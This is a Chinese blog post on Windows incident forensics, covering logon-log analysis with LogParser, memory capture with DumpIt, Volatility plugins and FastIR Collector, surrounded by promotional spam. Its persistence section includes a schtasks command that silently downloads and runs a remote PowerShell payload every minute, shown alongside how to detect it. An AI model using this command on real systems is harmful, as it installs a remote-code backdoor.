Windows取证一_ failed to import volatility

最新推荐文章于 2024-08-24 23:19:43 发布
最新推荐文章于 2024-08-24 23:19:43 发布
阅读量489 收藏 11
点赞数 17
分类专栏： 2024年程序员学习 文章标签： 物联网 嵌入式硬件 面试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_85013826/article/details/138931976
版权

收集整理了一份《2024年最新物联网嵌入式全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升的朋友。
img
img

如果你需要这些资料，可以戳这里获取

需要这些体系化资料的朋友，可以加我V获取：vip1024c （备注嵌入式）

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人

都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

LogParser.exe -i:EVT “SELECT TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,8,‘|’) as EventType,EXTRACT_TOKEN(Strings,5,‘|’) as username,EXTRACT_TOKEN(Strings,18,‘|’) as Loginip FROM C:\3333.evtx where EventID=4624”


使用LogParser做一下分析，得到系统登录时间，登录类型10 也就是远程登录，登录用户 test，登录IP：10.1.1.1。


![img](https://img-blog.csdnimg.cn/img_convert/c81c2f3461da99ca5958789c4f6d981c.png)


**4、权限维持**  
 通过创建计划任务执行脚本后门，以便下次直接进入，使用以下命令可以一键实现：

schtasks /create /sc minute /mo 1 /tn “Security Script” /tr “powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(””“http://10.1.1.1:8888/logo.txt”“”))“”


Windows日志分析：  
 在本地安全策略中，需开启审核对象访问，关键对象访问事件，如：

4698 创建计划任务
4699 删除计划任务


![img](https://img-blog.csdnimg.cn/img_convert/ef628f2e4fec67d137ed4e18057ba62c.png)


[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8fdMx4n7-1648259565003)( https://www.cnblogs.com/xiaozi/p/image/20201211-06.png)]  
 这里涉及进程创建和对象访问事件，包括schtasks.exe进程的创建和Event ID 4698发现新建的计划任务。成功找到计划任务后门位置：


![img](https://img-blog.csdnimg.cn/img_convert/6a43518e52814459a652356b95a6aba4.png)  
 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9IDsH9ho-1648259565004)(https://www.cnblogs.com/xiaozi/p/image/20201211-07.png)]


#### **活取证**


* 抓取文件的metadata、创建是时间线、命令历史、分析日志文件、哈希摘要、转存内存信息
* 使用未受感染的干净程序进行取证
* U盘、网络、存储设备收集到的数据


#### **死取证**


* 系统关机后制作硬盘镜像、分析镜像


在活取证中，可以使用内存dump工具，将被入侵的机器的内存保存下来，常用的内存镜像取证工具是Dumplt、FTK Imager、Belkasoft RAM Capture和Dump镜像内存提取工具。其中在Windows中经常使用的工具是Dumpit



> 
> DumpIt 是一款绿色免安装的 windows 内存镜像取证工具。利用它我们可以轻松地将一个系统的完整内存镜像下来，并用于后续的调查取证工作
> 
> 
> 


下载地址 <https://down10.software/download-dumpit/>


**在dump内存后，获取到的文件大小约等于主机内存的大小，所以在自己进行测试的时候，可以尽量把测试机的内存调小一点。**


这里使用上面说的Dumpit工具，下载之后放到虚拟机中，双击之后输入y即可获取当前的状态的内存文件，保存后是一个raw格式的文件，这里我在测试机上dump了一下内存，获取到了一个文件，用于下面的示例讲解，大家可以根据下面的讲解自己创建镜像进行测试。


![](https://img-blog.csdnimg.cn/img_convert/172fe18919be255d6518635791cbce7d.png)


在取证工具中，比较有名的是Volatility，他是一个用于事件响应和恶意软件分析的开源内存取证框架。它是用Python编写的，支持Microsoft Windows，macOS和Linux，volatility框架是一个完全开放的工具集合，在GNU通用许可证下用Python实现，用于从易失性存储器（RAM）样本总提取数字镜像。提取技术完全独立于被取证的系统而执行，但可以查看到系统运行时的状态信息。该框架旨在向人们介绍从内存样本中提取的数字镜像相关的技术，并为进一步研究该领域提供一个平台，它可以分析 .raw、.vmem、.img后缀的文件


下载地址：https://github.com/volatilityfoundation/volatility


我自己安装的时候碰到了这个问题，

*** Failed to import volatility.plugins.registry.shutdown (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.getservicesids (ImportError: No module named Crypto.Hash)


在issue里找到解决方案


https://github.com/volatilityfoundation/volatility/issues/771


先查看内存镜像文件版本信息

python vol.py -f /tmp/test/DESKTOP-5DRPRQ1-20220321-030822.raw imageinfo


![](https://img-blog.csdnimg.cn/img_convert/4435b4cad410296e27484dd8bcd7c5cd.png)


`python vol.py -f TEST-PC.raw --profile=Win10x64_19041 pslist`


![](https://img-blog.csdnimg.cn/img_convert/2ab899576245aa2ec3967836ca78fe86.png)


`python vol.py -f TEST-PC.raw --profile=Win10x64_19041 notepad`


netscan 查看网络连接情况


`python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 netscan`


![](https://img-blog.csdnimg.cn/img_convert/aeecc7f45680cab861949c0c772f8442.png)


显示该这个插件不支持这个系统，这时可以使用 editbox 查看


`python vol.py -f TEST-PC.raw --profile=Win7SP1x64 editbox`


malfind 查找隐藏或注入的代码/ DLL


`python vol.py -f /root/lltest/PC-20170527XAOD-20180409-232828.raw --profile=Win7SP1x86 malfind`


可看到进程pid为620的svchost.exe存在异常：


![img](https://img-blog.csdnimg.cn/img_convert/8a45506c9dbaf2544acae8022fe6caa9.png)


更详细的用法可以到 https://www.freebuf.com/articles/web/279976.html 这里看。


### FastIR Collector Windows取证/信息收集神器


**项目地址：**


https://github.com/SekoiaLab/Fastir\_Collector


**项目简介：**


FastIR Collector是一款不折不扣的神器，要说唯一的缺点也许就是体积太大了，不过因为其实python编写的，所以导致了体积的过大，但是却又因为他是python写的所以对其进行二次开发和修改的门槛会比用C开发的相对较低。


FastIR Collector是一个Windows下的信息收集工具，收集的东西揽括了所有你能想到的东西，不限于内存，注册表，文件信息等，等看完下面的列表你就能意识到为何称它为神器，说他是神器的原因还有一个，就在他名字上“fast”，他的速度也是非常快的，对一个FileCatcher进行捕获也只需要1-2分钟时间！


**使用方法：**

/fastIR_x64.py -h for help

./fastIR_x64.py --packages all 包含所有模块

./fastIR_x64.py --packages (dump|fs|registry|memory|FileCatcher) 这里可以自定义选择模块，模块就是之前列表中介绍的，大家可以对应起来按照自己的需要进行dump

./fastIR_x64.py --packages all --output_dir 输入的文件夹


![](https://img-blog.csdnimg.cn/img_convert/c6ee640c96ce9c675f0fba9c6fa26c0f.png)


![](https://img-blog.csdnimg.cn/img_convert/05e72cfc79cdd07a32e38569b2b96bf0.png)


这里有一个chrome的访问记录文件


![](https://img-blog.csdnimg.cn/img_convert/93a4331cb8b48ae9d1b56ea6bb2c3a91.png)


这里就能看到历史的访问记录了，你懂的。


![img](https://img-blog.csdnimg.cn/img_convert/25b7e13ef72f158ad012463fe85e8698.png)
![img](https://img-blog.csdnimg.cn/img_convert/cec4ee2a713a7667159317ca20b91bbf.png)

**既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上物联网嵌入式知识点，真正体系化！**

**由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、电子书籍、讲解视频，并且后续会持续更新**

**需要这些体系化资料的朋友，可以加我V获取：vip1024c （备注嵌入式）**

**[如果你需要这些资料，可以戳这里获取](https://bbs.csdn.net/topics/618679757)**

入学习提升的进阶课程，涵盖了95%以上物联网嵌入式知识点，真正体系化！**

**由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、电子书籍、讲解视频，并且后续会持续更新**

**需要这些体系化资料的朋友，可以加我V获取：vip1024c （备注嵌入式）**

**[如果你需要这些资料，可以戳这里获取](https://bbs.csdn.net/topics/618679757)**
2401_85013826
关注
  • 17
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
volatility内存取证软件，可用于windows环境下
09-20
The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory (RAM) ...
volatility_2.6_win64system_standalone.rar
10-08
1. volatility_2.6_win64_standalone.exe：这是Volatility 2.6的Windows 64位独立运行版本，用户可以直接运行进行内存分析，无需安装。 2. README.txt：通常，这个文件包含了关于如何使用工具的基本指南，包括安装、...
Kali Linux下Volatility2.6常见问题疑难杂症-内存取证信息安全管理与评估
Geek极安云科-致力于网络安全事业
11-24 4170
Kali Linux下Volatility2.6常见问题疑难杂症-信息安全管理与评估 Volatility为开源项目，旧版本kali不集成此工具，此处用2.6为例，2.6版本是基于python2的环境。 GiitHub地址： 使用python2运行vol.py -f上镜像,发现一堆报错，但是有些功能还是可以正常使用
kali2024上Volatility的安装（无报错）
2301_80110280的博客
07-15 873
接下来就是解决distorm3的问题，如果使用pip2 install distorm3会发现有egg_info报错的问题，查阅之后发现说是没有安装setuptools，查到最后会发现setuptools是python3里面的，然后如果用pip2安装的话，又因为2022版本之后kali官方不支持python2了，使用命令安装这个时就会报错，所以这个途径就不了了之。这样一来输入vol.py就不会再出现报错了，以及之后要是还要下载什么插件之类的，都可以去使用：将其源码包下载之后，放到。
Failed to import volatility.plugins.malware.apihooks (NameError: name 'distorm3' is not defined)
相信未来！
06-07 5072
转载地址：https://code.google.com/p/volatility/wiki/FullInstallation In this post I will share with you my first experiences working with Volatility 2.4. As first use I installed it on a OS X machine
内存取证-Volatility安装使用以及一些CTF比赛题目
热门推荐
Bnessy
04-02 2万+
一 、简介 Volatility是一款开源内存取证框架，能够对导出的内存镜像进行分析，通过获取内核数据结构，使用插件获取内存的详细情况以及系统的运行状态。 二 、安装Volatility 下载源码 https://github.com/volatilityfoundation/volatility 解压 unzip volatility-master.zip 安装依赖 crypto pip2 install pycryptodome #如果安装失败，可使用以下命令切换国内源 pip2
Windows取证一
风炫的博客
03-26 6448
Windows取证 基础 取证通常作为一个公司的事件响应调查人员或者司法调查的取证人员，通过调查被入侵的机器，将被入侵者的行为轨迹梳理出来，还原整个入侵的过程。对于入侵者而言，了解电子取证，可以更全面的了解到自己能够在系统中留下的痕迹，从而具有针对性的消除痕迹，而对于取证人员来说，电子取证无疑是了解整个入侵过程的关键。电子取证近年来也发展为了一个独立的学科，其中在安全竞赛中，电子取证也作为一部分考察内容，被纳入到杂项的大类中，也有只考察取证的竞赛。下面从技术层面介绍Windows取证的相关知识。 审查日志
[笔记]Volatility 取证工具使用以及Hollow插件使用
二次元怪兽的博客
06-14 1603
Volatility内存取证使用Volatility是一款开源内存取证框架，能够对导出的内存镜像进行分析，通过获取内核数据结构，使用插件获取内存的详细情况以及系统的运行状态。而Dumpit是用于生成Windows机器的物理内存转储，可运行在32位/64位系统中，可完美地部署在USB闪存盘上，快速响应事件。Volatility：https://github.com/volatilityfoundation/volatility win10 python2.7 DumpIt.exe执行时 报错 解决方案 htt
volatility安装、内存取证常见知识点及例题讲解(已进行2.1次更新)
mumuzi的博客
05-26 1万+
最近的CTF比赛有关内存取证、机器学习、流量分析的题越来越多，自己又没怎么下来学过，基本都混在简单基础的图片隐写上面，所以开坑整理内存取证的知识点，并选取两道例题来实操。之后也准备对机器学习开坑。 常见的内存镜像文件有raw、vmem、dmp、img等，这里就需要用到内存取证工具volatility(例题讲解使用版本为2.6)，当然如果看见有个叫DumpIt的进程，不用去理会，他就是生成内存文件的程序。 指令讲解imageinfopslistpstreecmdscanconsolescmdlinefiles
volatility_2.6_lin64_standalone.zip
05-16
然后，解压下载的volatility_2.6_lin64_standalone压缩包，启动Volatility命令行工具，输入相应的命令来运行插件。这些插件涵盖了从基本信息提取（如`info`命令获取系统信息）到复杂的行为分析（如`netscan`检测活跃...
内存取证 volatility
07-12
Volatility是一款强大的开源工具，专门用于进行内存取证分析，它可以从Windows、Linux、Mac OS X等多种操作系统中获取内存信息。在本篇文章中，我们将深入探讨Volatility 3.2.4.1版本的功能、工作原理以及如何使用它...
Volatility内存取证
12-30
在Kali Liunx系统下使用Volatility工具对未知内存镜像进行详细分析取证
振兴杯全国青年职业技能大赛物联网安装调试员解决方案
whwzzc的博客
08-21 1292
理论与实践相结合的课程设计：结合物联网理论知识与实际应用案例，特别是针对物联网安装调试员的实际工作内容，设计具有行业针对性的实训课程，强化学生的动手能力和解决实际问题的能力，同时融入竞赛策略与技巧的教学。先进的实训设备：配备高性能的物联网传感器、控制器、网关等硬件设备，以及物联网云平台、开发软件等，模拟“振兴杯”竞赛中的高难度项目，为学生提供高水平的实训体验。加强对教师的物联网技术培训，特别是针对物联网安装调试员的专项技能培训，同时引入具有丰富竞赛指导经验的教师或专家，提升整体教学水平和指导能力。
乐鑫ESP32-C2物联网芯片，助力家居设备智能升级，高效能连接方案
wireless_tag的博客
08-21 405
启明云端作为乐鑫代理商，提供的ESP32、ESP32-S、ESP32-C、ESP32-P、ESP32-H等一系列无线WiFi芯片模组，性能稳定，能够满足不同智能设备的需求。物联网（IoT）作为智能家居设备的神经网络，扮演着至关重要的角色。随着技术的不断进步和市场的不断扩大，家居设备智能化发展前景广阔，通过不断的技术创新和服务优化，为用户带来更加智能、便捷、舒适的家居生活体验。通过不断追求技术的突破和产品的创新，满足市场和客户对智能技术的追求，物联网技术正引领着家电电器行业的智能化升级，开启智能化的新篇章。
【学术会议征稿】第二届物联网与云计算技术国际学术会议 (IoTCCT 2024)
XIAOAIXUEJIE的博客
08-21 635
本次会议将围绕“物联网与云计算技术”的研究领域，为来自国内外高等院校、科学研究所、企事业单位的专家、教授、学者、工程师等提供一个分享专业经验，扩大专业网络，面对面交流新思想以及展示研究成果的国际平台，探讨本领域发展所面临的关键性挑战问题和研究方向，以推动该领域理论、技术在高校和企业的发展和应用。↑↑参会/投稿/了解更多会议详情↑↑。大会时间：2024年9月27-29日。数字医疗/远程医疗/远程医疗。工业物联网与大数据的融合。云应用的可扩展性和可用性。面向物联网的云和大数据。云和大数据的隐私和安全。
AI数字时代客户体验白皮书5G云算力网络云网终端AIGC人工智能宽带政企物联网专线 IDC智慧城市专家学者教授培训讲师分享
最新发布
Akibfrycc的博客
08-24 734
传统的市场竞争，更多的是基于产品的功能和价格。然而，随着消费者的需求逐渐多样化和复杂化，单纯的产品优势已经难以满足客户的期望。越来越多的企业开始意识到，客户购买的不仅仅是产品本身，更是一种整体的体验。这种体验包括从产品的选择、购买、使用到售后服务的全过程。而客户体验的优化，正是通过在每一个接触点上超越客户的期望，从而建立起与客户之间的深度情感连接。
stm32智能颜色送餐小车（ESP8266WIFI模块、APP制作、物联网模型建立、MQTTFX）
2403_82432846的博客
08-18 1198
大家好啊，我是情谊，今天我们来介绍一下我最近设计的stm32产品，我们在今年七月份的时候参加了光电设计大赛，我们小队使用的就是stm32的智能送餐小车，虽然止步于省赛，但是还是一次成长的经验吧，那么我也来分享一下我们小队这次的产品设计，希望里面的一些模块可以给你们一点的参考建议。
** Failed to import volatility.plugins.mimikatz (AttributeError: 'module' object has no attribute 'ULInt32')
08-14
这个错误可能是由于您使用的 Volatility 版本与所需的插件不兼容导致的。请确保您正在使用与 mimikatz 插件兼容的版本。您可以尝试更新或降级 Volatility 版本，或者查看是否有其他可用的插件版本可以解决此问题。另外，还建议检查您的 Python 环境和依赖项是否正确安装。如果问题仍然存在，请提供更多详细的错误信息，以便我可以更好地帮助您解决问题。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值